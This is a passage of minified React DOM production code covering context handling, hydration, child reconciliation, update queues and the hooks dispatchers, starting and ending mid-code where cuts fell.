ji(t){return t[Bo]||null}var Fs=[],Cr=-1;function Rn(t){return{current:t}}function Ne(t){0>Cr||(t.current=Fs[Cr],Fs[Cr]=null,Cr--)}function Re(t,r){Cr++,Fs[Cr]=t.current,t.current=r}var Bn={},lt=Rn(Bn),gt=Rn(!1),er=Bn;function Rr(t,r){var a=t.type.contextTypes;if(!a)return Bn;var l=t.stateNode;if(l&&l.__reactInternalMemoizedUnmaskedChildContext===r)return l.__reactInternalMemoizedMaskedChildContext;var c={},f;for(f in a)c[f]=r[f];return l&&(t=t.stateNode,t.__reactInternalMemoizedUnmaskedChildContext=r,t.__reactInternalMemoizedMaskedChildContext=c),c}function yt(t){return t=t.childContextTypes,t!=null}function $i(){Ne(gt),Ne(lt)}function Ld(t,r,a){if(lt.current!==Bn)throw Error(o(168));Re(lt,r),Re(gt,a)}function Dd(t,r,a){var l=t.stateNode;if(r=r.childContextTypes,typeof l.getChildContext!="function")return a;l=l.getChildContext();for(var c in l)if(!(c in r))throw Error(o(108,Ce(t)||"Unknown",c));return ee({},a,l)}function Li(t){return t=(t=t.stateNode)&&t.__reactInternalMemoizedMergedChildContext||Bn,er=lt.current,Re(lt,t),Re(gt,gt.current),!0}function Md(t,r,a){var l=t.stateNode;if(!l)throw Error(o(169));a?(t=Dd(t,r,er),l.__reactInternalMemoizedMergedChildContext=t,Ne(gt),Ne(lt),Re(lt,t)):Ne(gt),Re(gt,a)}var sn=null,Di=!1,Us=!1;function Fd(t){sn===null?sn=[t]:sn.push(t)}function Yg(t){Di=!0,Fd(t)}function Pn(){if(!Us&&sn!==null){Us=!0;var t=0,r=be;try{var a=sn;for(be=1;t<a.length;t++){var l=a[t];do l=l(!0);while(l!==null)}sn=null,Di=!1}catch(c){throw sn!==null&&(sn=sn.slice(t+1)),Zc(cs,Pn),c}finally{be=r,Us=!1}}return null}var Br=[],Pr=0,Mi=null,Fi=0,Pt=[],Nt=0,tr=null,ln=1,un="";function nr(t,r){Br[Pr++]=Fi,Br[Pr++]=Mi,Mi=t,Fi=r}function Ud(t,r,a){Pt[Nt++]=ln,Pt[Nt++]=un,Pt[Nt++]=tr,tr=t;var l=ln;t=un;var c=32-Ut(l)-1;l&=~(1<<c),a+=1;var f=32-Ut(r)+c;if(30<f){var v=c-c%5;f=(l&(1<<v)-1).toString(32),l>>=v,c-=v,ln=1<<32-Ut(r)+c|a<<c|l,un=f+t}else ln=1<<f|a<<c|l,un=t}function Zs(t){t.return!==null&&(nr(t,1),Ud(t,1,0))}function qs(t){for(;t===Mi;)Mi=Br[--Pr],Br[Pr]=null,Fi=Br[--Pr],Br[Pr]=null;for(;t===tr;)tr=Pt[--Nt],Pt[Nt]=null,un=Pt[--Nt],Pt[Nt]=null,ln=Pt[--Nt],Pt[Nt]=null}var Tt=null,Ct=null,$e=!1,qt=null;function Zd(t,r){var a=$t(5,null,null,0);a.elementType="DELETED",a.stateNode=r,a.return=t,r=t.deletions,r===null?(t.deletions=[a],t.flags|=16):r.push(a)}function qd(t,r){switch(t.tag){case 5:var a=t.type;return r=r.nodeType!==1||a.toLowerCase()!==r.nodeName.toLowerCase()?null:r,r!==null?(t.stateNode=r,Tt=t,Ct=Cn(r.firstChild),!0):!1;case 6:return r=t.pendingProps===""||r.nodeType!==3?null:r,r!==null?(t.stateNode=r,Tt=t,Ct=null,!0):!1;case 13:return r=r.nodeType!==8?null:r,r!==null?(a=tr!==null?{id:ln,overflow:un}:null,t.memoizedState={dehydrated:r,treeContext:a,retryLane:1073741824},a=$t(18,null,null,0),a.stateNode=r,a.return=t,t.child=a,Tt=t,Ct=null,!0):!1;default:return!1}}function Vs(t){return(t.mode&1)!==0&&(t.flags&128)===0}function Ws(t){if($e){var r=Ct;if(r){var a=r;if(!qd(t,r)){if(Vs(t))throw Error(o(418));r=Cn(a.nextSibling);var l=Tt;r&&qd(t,r)?Zd(l,a):(t.flags=t.flags&-4097|2,$e=!1,Tt=t)}}else{if(Vs(t))throw Error(o(418));t.flags=t.flags&-4097|2,$e=!1,Tt=t}}}function Vd(t){for(t=t.return;t!==null&&t.tag!==5&&t.tag!==3&&t.tag!==13;)t=t.return;Tt=t}function Ui(t){if(t!==Tt)return!1;if(!$e)return Vd(t),$e=!0,!1;var r;if((r=t.tag!==3)&&!(r=t.tag!==5)&&(r=t.type,r=r!=="head"&&r!=="body"&&!$s(t.type,t.memoizedProps)),r&&(r=Ct)){if(Vs(t))throw Wd(),Error(o(418));for(;r;)Zd(t,r),r=Cn(r.nextSibling)}if(Vd(t),t.tag===13){if(t=t.memoizedState,t=t!==null?t.dehydrated:null,!t)throw Error(o(317));e:{for(t=t.nextSibling,r=0;t;){if(t.nodeType===8){var a=t.data;if(a==="/$"){if(r===0){Ct=Cn(t.nextSibling);break e}r--}else a!=="$"&&a!=="$!"&&a!=="$?"||r++}t=t.nextSibling}Ct=null}}else Ct=Tt?Cn(t.stateNode.nextSibling):null;return!0}function Wd(){for(var t=Ct;t;)t=Cn(t.nextSibling)}function Nr(){Ct=Tt=null,$e=!1}function Hs(t){qt===null?qt=[t]:qt.push(t)}var Xg=K.ReactCurrentBatchConfig;function No(t,r,a){if(t=a.ref,t!==null&&typeof t!="function"&&typeof t!="object"){if(a._owner){if(a=a._owner,a){if(a.tag!==1)throw Error(o(309));var l=a.stateNode}if(!l)throw Error(o(147,t));var c=l,f=""+t;return r!==null&&r.ref!==null&&typeof r.ref=="function"&&r.ref._stringRef===f?r.ref:(r=function(v){var _=c.refs;v===null?delete _[f]:_[f]=v},r._stringRef=f,r)}if(typeof t!="string")throw Error(o(284));if(!a._owner)throw Error(o(290,t))}return t}function Zi(t,r){throw t=Object.prototype.toString.call(r),Error(o(31,t==="[object Object]"?"object with keys {"+Object.keys(r).join(", ")+"}":t))}function Hd(t){var r=t._init;return r(t._payload)}function Kd(t){function r(C,k){if(t){var R=C.deletions;R===null?(C.deletions=[k],C.flags|=16):R.push(k)}}function a(C,k){if(!t)return null;for(;k!==null;)r(C,k),k=k.sibling;return null}function l(C,k){for(C=new Map;k!==null;)k.key!==null?C.set(k.key,k):C.set(k.index,k),k=k.sibling;return C}function c(C,k){return C=Mn(C,k),C.index=0,C.sibling=null,C}function f(C,k,R){return C.index=R,t?(R=C.alternate,R!==null?(R=R.index,R<k?(C.flags|=2,k):R):(C.flags|=2,k)):(C.flags|=1048576,k)}function v(C){return t&&C.alternate===null&&(C.flags|=2),C}function _(C,k,R,W){return k===null||k.tag!==6?(k=Ll(R,C.mode,W),k.return=C,k):(k=c(k,R),k.return=C,k)}function S(C,k,R,W){var re=R.type;return re===ce?U(C,k,R.props.children,W,R.key):k!==null&&(k.elementType===re||typeof re=="object"&&re!==null&&re.$$typeof===ht&&Hd(re)===k.type)?(W=c(k,R.props),W.ref=No(C,k,R),W.return=C,W):(W=fa(R.type,R.key,R.props,null,C.mode,W),W.ref=No(C,k,R),W.return=C,W)}function P(C,k,R,W){return k===null||k.tag!==4||k.stateNode.containerInfo!==R.containerInfo||k.stateNode.implementation!==R.implementation?(k=Dl(R,C.mode,W),k.return=C,k):(k=c(k,R.children||[]),k.return=C,k)}function U(C,k,R,W,re){return k===null||k.tag!==7?(k=cr(R,C.mode,W,re),k.return=C,k):(k=c(k,R),k.return=C,k)}function q(C,k,R){if(typeof k=="string"&&k!==""||typeof k=="number")return k=Ll(""+k,C.mode,R),k.return=C,k;if(typeof k=="object"&&k!==null){switch(k.$$typeof){case Y:return R=fa(k.type,k.key,k.props,null,C.mode,R),R.ref=No(C,null,k),R.return=C,R;case ue:return k=Dl(k,C.mode,R),k.return=C,k;case ht:var W=k._init;return q(C,W(k._payload),R)}if(so(k)||le(k))return k=cr(k,C.mode,R,null),k.return=C,k;Zi(C,k)}return null}function M(C,k,R,W){var re=k!==null?k.key:null;if(typeof R=="string"&&R!==""||typeof R=="number")return re!==null?null:_(C,k,""+R,W);if(typeof R=="object"&&R!==null){switch(R.$$typeof){case Y:return R.key===re?S(C,k,R,W):null;case ue:return R.key===re?P(C,k,R,W):null;case ht:return re=R._init,M(C,k,re(R._payload),W)}if(so(R)||le(R))return re!==null?null:U(C,k,R,W,null);Zi(C,R)}return null}function J(C,k,R,W,re){if(typeof W=="string"&&W!==""||typeof W=="number")return C=C.get(R)||null,_(k,C,""+W,re);if(typeof W=="object"&&W!==null){switch(W.$$typeof){case Y:return C=C.get(W.key===null?R:W.key)||null,S(k,C,W,re);case ue:return C=C.get(W.key===null?R:W.key)||null,P(k,C,W,re);case ht:var ae=W._init;return J(C,k,R,ae(W._payload),re)}if(so(W)||le(W))return C=C.get(R)||null,U(k,C,W,re,null);Zi(k,W)}return null}function te(C,k,R,W){for(var re=null,ae=null,se=k,de=k=0,ot=null;se!==null&&de<R.length;de++){se.index>de?(ot=se,se=null):ot=se.sibling;var xe=M(C,se,R[de],W);if(xe===null){se===null&&(se=ot);break}t&&se&&xe.alternate===null&&r(C,se),k=f(xe,k,de),ae===null?re=xe:ae.sibling=xe,ae=xe,se=ot}if(de===R.length)return a(C,se),$e&&nr(C,de),re;if(se===null){for(;de<R.length;de++)se=q(C,R[de],W),se!==null&&(k=f(se,k,de),ae===null?re=se:ae.sibling=se,ae=se);return $e&&nr(C,de),re}for(se=l(C,se);de<R.length;de++)ot=J(se,C,de,R[de],W),ot!==null&&(t&&ot.alternate!==null&&se.delete(ot.key===null?de:ot.key),k=f(ot,k,de),ae===null?re=ot:ae.sibling=ot,ae=ot);return t&&se.forEach(function(Fn){return r(C,Fn)}),$e&&nr(C,de),re}function ne(C,k,R,W){var re=le(R);if(typeof re!="function")throw Error(o(150));if(R=re.call(R),R==null)throw Error(o(151));for(var ae=re=null,se=k,de=k=0,ot=null,xe=R.next();se!==null&&!xe.done;de++,xe=R.next()){se.index>de?(ot=se,se=null):ot=se.sibling;var Fn=M(C,se,xe.value,W);if(Fn===null){se===null&&(se=ot);break}t&&se&&Fn.alternate===null&&r(C,se),k=f(Fn,k,de),ae===null?re=Fn:ae.sibling=Fn,ae=Fn,se=ot}if(xe.done)return a(C,se),$e&&nr(C,de),re;if(se===null){for(;!xe.done;de++,xe=R.next())xe=q(C,xe.value,W),xe!==null&&(k=f(xe,k,de),ae===null?re=xe:ae.sibling=xe,ae=xe);return $e&&nr(C,de),re}for(se=l(C,se);!xe.done;de++,xe=R.next())xe=J(se,C,de,xe.value,W),xe!==null&&(t&&xe.alternate!==null&&se.delete(xe.key===null?de:xe.key),k=f(xe,k,de),ae===null?re=xe:ae.sibling=xe,ae=xe);return t&&se.forEach(function(P0){return r(C,P0)}),$e&&nr(C,de),re}function Je(C,k,R,W){if(typeof R=="object"&&R!==null&&R.type===ce&&R.key===null&&(R=R.props.children),typeof R=="object"&&R!==null){switch(R.$$typeof){case Y:e:{for(var re=R.key,ae=k;ae!==null;){if(ae.key===re){if(re=R.type,re===ce){if(ae.tag===7){a(C,ae.sibling),k=c(ae,R.props.children),k.return=C,C=k;break e}}else if(ae.elementType===re||typeof re=="object"&&re!==null&&re.$$typeof===ht&&Hd(re)===ae.type){a(C,ae.sibling),k=c(ae,R.props),k.ref=No(C,ae,R),k.return=C,C=k;break e}a(C,ae);break}else r(C,ae);ae=ae.sibling}R.type===ce?(k=cr(R.props.children,C.mode,W,R.key),k.return=C,C=k):(W=fa(R.type,R.key,R.props,null,C.mode,W),W.ref=No(C,k,R),W.return=C,C=W)}return v(C);case ue:e:{for(ae=R.key;k!==null;){if(k.key===ae)if(k.tag===4&&k.stateNode.containerInfo===R.containerInfo&&k.stateNode.implementation===R.implementation){a(C,k.sibling),k=c(k,R.children||[]),k.return=C,C=k;break e}else{a(C,k);break}else r(C,k);k=k.sibling}k=Dl(R,C.mode,W),k.return=C,C=k}return v(C);case ht:return ae=R._init,Je(C,k,ae(R._payload),W)}if(so(R))return te(C,k,R,W);if(le(R))return ne(C,k,R,W);Zi(C,R)}return typeof R=="string"&&R!==""||typeof R=="number"?(R=""+R,k!==null&&k.tag===6?(a(C,k.sibling),k=c(k,R),k.return=C,C=k):(a(C,k),k=Ll(R,C.mode,W),k.return=C,C=k),v(C)):a(C,k)}return Je}var Ar=Kd(!0),Gd=Kd(!1),qi=Rn(null),Vi=null,Or=null,Ks=null;function Gs(){Ks=Or=Vi=null}function Js(t){var r=qi.current;Ne(qi),t._currentValue=r}function Qs(t,r,a){for(;t!==null;){var l=t.alternate;if((t.childLanes&r)!==r?(t.childLanes|=r,l!==null&&(l.childLanes|=r)):l!==null&&(l.childLanes&r)!==r&&(l.childLanes|=r),t===a)break;t=t.return}}function jr(t,r){Vi=t,Ks=Or=null,t=t.dependencies,t!==null&&t.firstContext!==null&&((t.lanes&r)!==0&&(_t=!0),t.firstContext=null)}function At(t){var r=t._currentValue;if(Ks!==t)if(t={context:t,memoizedValue:r,next:null},Or===null){if(Vi===null)throw Error(o(308));Or=t,Vi.dependencies={lanes:0,firstContext:t}}else Or=Or.next=t;return r}var rr=null;function Ys(t){rr===null?rr=[t]:rr.push(t)}function Jd(t,r,a,l){var c=r.interleaved;return c===null?(a.next=a,Ys(r)):(a.next=c.next,c.next=a),r.interleaved=a,cn(t,l)}function cn(t,r){t.lanes|=r;var a=t.alternate;for(a!==null&&(a.lanes|=r),a=t,t=t.return;t!==null;)t.childLanes|=r,a=t.alternate,a!==null&&(a.childLanes|=r),a=t,t=t.return;return a.tag===3?a.stateNode:null}var Nn=!1;function Xs(t){t.updateQueue={baseState:t.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function Qd(t,r){t=t.updateQueue,r.updateQueue===t&&(r.updateQueue={baseState:t.baseState,firstBaseUpdate:t.firstBaseUpdate,lastBaseUpdate:t.lastBaseUpdate,shared:t.shared,effects:t.effects})}function dn(t,r){return{eventTime:t,lane:r,tag:0,payload:null,callback:null,next:null}}function An(t,r,a){var l=t.updateQueue;if(l===null)return null;if(l=l.shared,(_e&2)!==0){var c=l.pending;return c===null?r.next=r:(r.next=c.next,c.next=r),l.pending=r,cn(t,a)}return c=l.interleaved,c===null?(r.next=r,Ys(l)):(r.next=c.next,c.next=r),l.interleaved=r,cn(t,a)}function Wi(t,r,a){if(r=r.updateQueue,r!==null&&(r=r.shared,(a&4194240)!==0)){var l=r.lanes;l&=t.pendingLanes,a|=l,r.lanes=a,fs(t,a)}}function Yd(t,r){var a=t.updateQueue,l=t.alternate;if(l!==null&&(l=l.updateQueue,a===l)){var c=null,f=null;if(a=a.firstBaseUpdate,a!==null){do{var v={eventTime:a.eventTime,lane:a.lane,tag:a.tag,payload:a.payload,callback:a.callback,next:null};f===null?c=f=v:f=f.next=v,a=a.next}while(a!==null);f===null?c=f=r:f=f.next=r}else c=f=r;a={baseState:l.baseState,firstBaseUpdate:c,lastBaseUpdate:f,shared:l.shared,effects:l.effects},t.updateQueue=a;return}t=a.lastBaseUpdate,t===null?a.firstBaseUpdate=r:t.next=r,a.lastBaseUpdate=r}function Hi(t,r,a,l){var c=t.updateQueue;Nn=!1;var f=c.firstBaseUpdate,v=c.lastBaseUpdate,_=c.shared.pending;if(_!==null){c.shared.pending=null;var S=_,P=S.next;S.next=null,v===null?f=P:v.next=P,v=S;var U=t.alternate;U!==null&&(U=U.updateQueue,_=U.lastBaseUpdate,_!==v&&(_===null?U.firstBaseUpdate=P:_.next=P,U.lastBaseUpdate=S))}if(f!==null){var q=c.baseState;v=0,U=P=S=null,_=f;do{var M=_.lane,J=_.eventTime;if((l&M)===M){U!==null&&(U=U.next={eventTime:J,lane:0,tag:_.tag,payload:_.payload,callback:_.callback,next:null});e:{var te=t,ne=_;switch(M=r,J=a,ne.tag){case 1:if(te=ne.payload,typeof te=="function"){q=te.call(J,q,M);break e}q=te;break e;case 3:te.flags=te.flags&-65537|128;case 0:if(te=ne.payload,M=typeof te=="function"?te.call(J,q,M):te,M==null)break e;q=ee({},q,M);break e;case 2:Nn=!0}}_.callback!==null&&_.lane!==0&&(t.flags|=64,M=c.effects,M===null?c.effects=[_]:M.push(_))}else J={eventTime:J,lane:M,tag:_.tag,payload:_.payload,callback:_.callback,next:null},U===null?(P=U=J,S=q):U=U.next=J,v|=M;if(_=_.next,_===null){if(_=c.shared.pending,_===null)break;M=_,_=M.next,M.next=null,c.lastBaseUpdate=M,c.shared.pending=null}}while(!0);if(U===null&&(S=q),c.baseState=S,c.firstBaseUpdate=P,c.lastBaseUpdate=U,r=c.shared.interleaved,r!==null){c=r;do v|=c.lane,c=c.next;while(c!==r)}else f===null&&(c.shared.lanes=0);ar|=v,t.lanes=v,t.memoizedState=q}}function Xd(t,r,a){if(t=r.effects,r.effects=null,t!==null)for(r=0;r<t.length;r++){var l=t[r],c=l.callback;if(c!==null){if(l.callback=null,l=a,typeof c!="function")throw Error(o(191,c));c.call(l)}}}var Ao={},en=Rn(Ao),Oo=Rn(Ao),jo=Rn(Ao);function or(t){if(t===Ao)throw Error(o(174));return t}function el(t,r){switch(Re(jo,r),Re(Oo,t),Re(en,Ao),t=r.nodeType,t){case 9:case 11:r=(r=r.documentElement)?r.namespaceURI:ts(null,"");break;default:t=t===8?r.parentNode:r,r=t.namespaceURI||null,t=t.tagName,r=ts(r,t)}Ne(en),Re(en,r)}function $r(){Ne(en),Ne(Oo),Ne(jo)}function ep(t){or(jo.current);var r=or(en.current),a=ts(r,t.type);r!==a&&(Re(Oo,t),Re(en,a))}function tl(t){Oo.current===t&&(Ne(en),Ne(Oo))}var Ue=Rn(0);function Ki(t){for(var r=t;r!==null;){if(r.tag===13){var a=r.memoizedState;if(a!==null&&(a=a.dehydrated,a===null||a.data==="$?"||a.data==="$!"))return r}else if(r.tag===19&&r.memoizedProps.revealOrder!==void 0){if((r.flags&128)!==0)return r}else if(r.child!==null){r.child.return=r,r=r.child;continue}if(r===t)break;for(;r.sibling===null;){if(r.return===null||r.return===t)return null;r=r.return}r.sibling.return=r.return,r=r.sibling}return null}var nl=[];function rl(){for(var t=0;t<nl.length;t++)nl[t]._workInProgressVersionPrimary=null;nl.length=0}var Gi=K.ReactCurrentDispatcher,ol=K.ReactCurrentBatchConfig,ir=0,Ze=null,et=null,nt=null,Ji=!1,$o=!1,Lo=0,e0=0;function ut(){throw Error(o(321))}function il(t,r){if(r===null)return!1;for(var a=0;a<r.length&&a<t.length;a++)if(!Zt(t[a],r[a]))return!1;return!0}function al(t,r,a,l,c,f){if(ir=f,Ze=r,r.memoizedState=null,r.updateQueue=null,r.lanes=0,Gi.current=t===null||t.memoizedState===null?o0:i0,t=a(l,c),$o){f=0;do{if($o=!1,Lo=0,25<=f)throw Error(o(301));f+=1,nt=et=null,r.updateQueue=null,Gi.current=a0,t=a(l,c)}while($o)}if(Gi.current=Xi,r=et!==null&&et.next!==null,ir=0,nt=et=Ze=null,Ji=!1,r)throw Error(o(300));return t}function sl(){var t=Lo!==0;return Lo=0,t}function tn(){var t={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return nt===null?Ze.memoizedState=nt=t:nt=nt.next=t,nt}function Ot(){if(et===null){var t=Ze.alternate;t=t!==null?t.memoizedState:null}else t=et.next;var r=nt===null?Ze.memoizedState:nt.next;if(r!==null)nt=r,et=t;else{if(t===null)throw Error(o(310));et=t,t={memoizedState:et.memoizedState,baseState:et.baseState,baseQueue:et.baseQueue,queue:et.queue,next:null},nt===null?Ze.memoizedState=nt=t:nt=nt.next=t}return nt}function Do(t,r){return typeof r=="function"?r(t):r}function ll(t){var r=Ot(),a=r.queue;if(a===null)throw Error(o(311));a.lastRenderedReducer=t;var l=et,c=l.baseQueue,f=a.pending;if(f!==null){if(c!==null){var v=c.next;c.next=f.next,f.next=v}l.baseQueue=c=f,a.pending=null}if(c!==null){f=c.next,l=l.baseState;var _=v=null,S=null,P=f;do{var U=P.lane;if((ir&U)===U)S!==null&&(S=S.next={lane:0,action:P.action,hasEagerState:P.hasEagerState,eagerState:P.eagerState,next:null}),l=P.hasEagerState?P.eagerState:t(l,P.action);else{var q={lane:U,action:P.action,hasEagerState:P.hasEagerState,eagerState:P.eagerState,next:null};S===null?(_=S=q,v=l):S=S.next=q,Ze.lanes|=U,ar|=U}P=P.next}while(P!==null&&P!==f);S===null?v=l:S.next=_,Zt(l,r.memoizedState)||(_t=!0),r.memoizedState=l,r.baseState=v,r.baseQueue=S,a.lastRenderedState=l}if(t=a.interleaved,t!==null){c=t;do f=c.lane,Ze.lanes|=f,ar|=f,c=c.next;while(c!==t)}else c===null&&(a.lanes=0);return[r.memoizedState,a.dispatch]}function ul(t){var r=Ot(),a=r.queue;if(a===null)throw Error(o(311));a.lastRenderedReducer=t;var l=a.dispatch,c=a.pending,f=r.memoizedState;if(c!==null){a.pending=null;var v=c=c.next;do f=t(f,v.action),v=v.next;while(v!==c);Zt(f,r.memoizedState)||(_t=!0),r.memoizedState=f,r.baseQueue===null&&(r.baseState=f),a.lastRenderedState=f}return[f,l]}function tp(){}function np(t,r){var a=Ze,l=Ot(),c=r(),f=!Zt(l.memoizedState,c);if(f&&(l.memoizedState=c,_t=!0),l=l.queue,cl(ip.bind(null,a,l,t),[t]),l.getSnapshot!==r||f||nt!==null&&nt.memoizedState.tag&1){if(a.flags|=2048,Mo(9,op.bind(null,a,l,c,r),void 0,null),rt===null)throw Error(o(349));(ir&30)!==0||rp(a,r,c)}return c}function rp(t,r,a){t.flags|=16384,t={getSnapshot:r,value:a},r=Ze.updateQueue,r===null?(r={lastEffect:null,stores:null},Ze.updateQueue=r,r.stores=[t]):(a=r.stores,a===null?r.stores=[t]:a.push(t))}function op(t,r,a,l){r.value=a,r.getSnapshot=l,ap(r)&&sp(t)}function ip(t,r,a){return a(function(){ap(r)&&sp(t)})}function ap(t){var r=t.getSnapshot;t=t.value;try{var a=r();return!Zt(t,a)}catch{return!0}}function sp(t){var r=cn(t,1);r!==null&&Kt(r,t,1,-1)}function lp(t){var r=tn();return typeof t=="function"&&(t=t()),r.memoizedState=r.baseState=t,t={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:Do,lastRenderedState:t},r.queue=t,t=t.dispatch=r0.bind(null,Ze,t),[r.memoizedState,t]}function Mo(t,r,a,l){return t={tag:t,create:r,destroy:a,deps:l,next:null},r=Ze.updateQueue,r===null?(r={lastEffect:null,stores:null},Ze.updateQueue=r,r.lastEffect=t.next=t):(a=r.lastEffect,a===null?r.lastEffect=t.next=t:(l=a.next,a.next=t,t.next=l,r.lastEffect=t)),t}function up(){return Ot().memoizedState}function Qi(t,r,a,l){var c=tn();Ze.flags|=t,c.memoizedState=Mo(1|r,a,void 0,l===void 0?null:l)}function Yi(t,r,a,l){var c=Ot();l=l===void 0?null:l;var f=void 0;if(et!==null){var v=et.memoizedState;if(f=v.destroy,l!==null&&il(l,v.deps)){c.memoizedState=Mo(r,a,f,l);return}}Ze.flags|=t,c.memoizedState=Mo(1|r,a,f,l)}function cp(t,r){return Qi(8390656,8,t,r)}function cl(t,r){return Yi(2048,8,t,r)}function dp(t,r){return Yi(4,2,t,r)}function pp(t,r){return Yi(4,4,t,r)}function fp(t,r){if(typeof r=="function")return t=t(),r(t),function(){r(null)};if(r!=null)return t=t(),r.current=t,function(){r.current=null}}function mp(t,r,a){return a=a!=null?a.concat([t]):null,Yi(4,4,fp.bind(null,r,t),a)}function dl(){}function vp(t,r){var a=Ot();r=r===void 0?null:r;var l=a.memoizedState;return l!==null&&r!==null&&il(r,l[1])?l[0]:(a.memoizedState=[t,r],t)}function hp(t,r){var a=Ot();r=r===void 0?null:r;var l=a.memoizedState;return l!==null&&r!==null&&il(r,l[1])?l[0]:(t=t(),a.memoizedState=[t,r],t)}function gp(t,r,a){return(ir&21)===0?(t.baseState&&(t.baseState=!1,_t=!0),t.memoizedState=a):(Zt(a,r)||(a=Hc(),Ze.lanes|=a,ar|=a,t.baseState=!0),r)}function t0(t,r){var a=be;be=a!==0&&4>a?a:4,t(!0);var l=ol.transition;ol.transition={};try{t(!1),r()}finally{be=a,ol.transition=l}}function yp(){return Ot().memoizedState}function n0(t,r,a){var l=Ln(t);if(a={lane:l,action:a,hasEagerState:!1,eagerState:null,next:null},_p(t))wp(r,a);else if(a=Jd(t,r,a,l),a!==null){var c=ft();Kt(a,t,l,c),Ep(a,r,l)}}function r0(t,r,a){var l=Ln(t),c={lane:l,action:a,hasEagerState:!1,eagerState:null,next:null};if(_p(t))wp(r,c);else{var f=t.alternate;if(t.lanes===0&&(f===null||f.lanes===0)&&(f=r.lastRenderedReducer,f!==null))try{var v=r.lastRenderedState,_=f(v,a);if(c.hasEagerState=!0,c.eagerState=_,Zt(_,v)){var S=r.interleaved;S===null?(c.next=c,Ys(r)):(c.next=S.next,S.next=c),r.interleaved=c;return}}catch{}a=Jd(t,r,c,l),a!==null&&(c=ft(),Kt(a,t,l,c),Ep(a,r,l))}}function _p(t){var r=t.alternate;return t===Ze||r!==null&&r===Ze}function wp(t,r){$o=Ji=!0;var a=t.pending;a===null?r.next=r:(r.next=a.next,a.next=r),t.pending=r}function Ep(t,r,a){if((a&4194240)!==0){var l=r.lanes;l&=t.pendingLanes,a|=l,r.lanes=a,fs(t,a)}}var Xi={readContext:At,useCallback:ut,useContext:ut,useEffect:ut,useImperativeHandle:ut,useInsertionEffect:ut,useLayoutEffect:ut,useMemo:ut,useReducer:ut,useRef:ut,useState:ut,useDebugValue:ut,useDeferredValue:ut,useTransition:ut,useMutableSource:ut,useSyncExternalStore:ut,useId:ut,unstable_isNewReconciler:!1},o0={readContext:At,useCallback:function(t,r){return tn().memoizedState=[t,r===void 0?null:r],t},useContext:At,useEffect:cp,useImperativeHandle:function(t,r,a){return a=a!=null?a.concat([t]):null,Qi(4194308,4,fp.bind(null,r,t),a)},useLayoutEffect:function(t,r){return Qi(4194308,4,t,r)},useInsertionEffect:function(t,r){return Qi(4,2,t,r)},useMemo:function(t,r){var a=tn();return r=r===void 0?null:r,t=t(),a.memoizedState=[t,r],t},useReducer:function(t,r,a){var l=tn();return r=a!==void 0?a(r):r,l.memoizedState=l.baseState=r,t={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:t,lastRenderedState:r},l.queue=t,t=t.dispatch=n0.bind(null,Ze,t),[l.memoizedState,t]},useRef:function(t){var r=tn();return t={current:t},r.memoizedState=t},useState:lp,useDebugValue:dl,useDeferredValue:function(t){return tn().memoizedState=t},useTransition:function(){var t=lp(!1),r=t[0];return t=t0.bind(null,t[1]),tn().memoizedState=t,[r,t]},useMutableSource:function(){},useSyncExternalStore:function(t,r,a){var l=Ze,c=tn();if($e){if(a===void 0)throw Error(o(407));a=a()}else{if(a=r(),rt===null)throw Error(o(349));(ir&30)!==0||rp(l,r,a)}c.memoizedState=a;var f={value:a,getSnapshot:r};return c.queue=f,cp(ip.bind(null,l,f,t),[t]),l.flags|=2048,Mo(9,op.bind(null,l,f,a,r),void 0,null),a},useId:function(){var t=tn(),r=rt.identifierPrefix;if($e){var a=un,l=ln;a=(l&~(1<<32-Ut(l)-1)).toString(32)+a,r=":"+r+"R"+a,a=Lo++,0<a&&(r+="H"+a.toString(32)),r+=":"}else a=e0++,r=":"+r+"r"+a.toString(32)+":";return t.memoizedState=r},unstable_isNewReconciler:!1},i0={readContext:At,useCallback:vp,useContext:At,useEffect:cl,useImperativeHandle:mp,useInsertionEffect:dp,useLayoutEffect:pp,useMemo:hp,useReducer:ll,useRef:up,useState:function(){return ll(Do)},useDebugValue:dl,useDeferredValue:function(t){var r=Ot();return gp(r,et.memoizedState,t)},useTransition:function(){var t=ll(Do)[0],r=Ot().memoizedState;return[t,r]},useMutableSource:tp,useSyncExternalStore:np,useId:yp,unstable_isNewReconciler:!1},a0={readContext:At,useCallback:vp,useContext:At,useEffect:cl,useImperativeHandle:mp,useInsertionEffect:dp,useLayoutEffect:pp,useMemo:hp,useReducer:ul,useRef:up,useState:function(){return ul(Do)},useDebugValue:dl,useDeferredValue:function(t){var r=Ot();return et===null?r.memoizedState=t:gp(r,et.memoizedState,t)},useTransition:function(){var t=ul(Do)[0],r=Ot().memoizedState;return[t,r]},useMutableSource:tp,useSyncExternalStore:np,useId:yp,unstable_isNewReconciler:!1};function Vt(t,r){if(t&&t.defaultProps){r=ee({},r),t=t.defaultProps;for(var a in t)r[a]===void 0&&(r[a]=t[a]);return r}return r}function pl(t,r,a,l){r=t.memoizedState,a=a(l,r),a=a==null?r:ee({},r,a),t.memoizedState=a,t.lanes===0&&(t.updateQueue.baseState=a)}var ea={isMounted:function(t){return(t=t._reactInternals)?Yn(t)===t:!1},enqueueSetState:function(t,r,a){t=t._reactInternals;var l=ft(),c=Ln(t),f=dn(l,c);f.payload=r,a!=null&&(f.callback=a),r=An(t,f,c),r!==null&&(Kt(r,t,c,l),Wi(r,t,c))},enqueueReplaceState:function(t,r,a){t=t._reactInternals;var l=ft(),c=Ln(t),f=dn(l,c);f.tag=1,f.payload=r,a!=null&&(f.callback=a),r=An(t,f,c),r!==null&&(Kt(r,t,c,l),Wi(r,t,c))},enqueueForceUpdate:function(t,r){t=t._reactInternals;var a=ft(),l=Ln(t),c=dn(a,l);c.tag=2,r!=null&&(c.callback=r),r=An(t,c,l),r!==null&&(Kt(r,t,l,a),Wi(r,t,l))}};function xp(t,r,a,l,c,f,v){return t=t.stateNode,typeof t.shouldComponentUpdate=="function"?t.shouldComponentUpdate(l,f,v):r.prototype&&r.prototype.isPureReactComponent?!bo(a,l)||!bo(c,f):!0}function Ip(t,r,a){var l=!1,c=Bn,f=r.contextType;return typeof f=="object"&&f!==null?f=At(f):(c=yt(r)?er:lt.current,l=r.contextTypes,f=(l=l!=null)?Rr(t,c):Bn),r=new r(a,f),t.memoizedState=r.state!==null&&r.state!==void 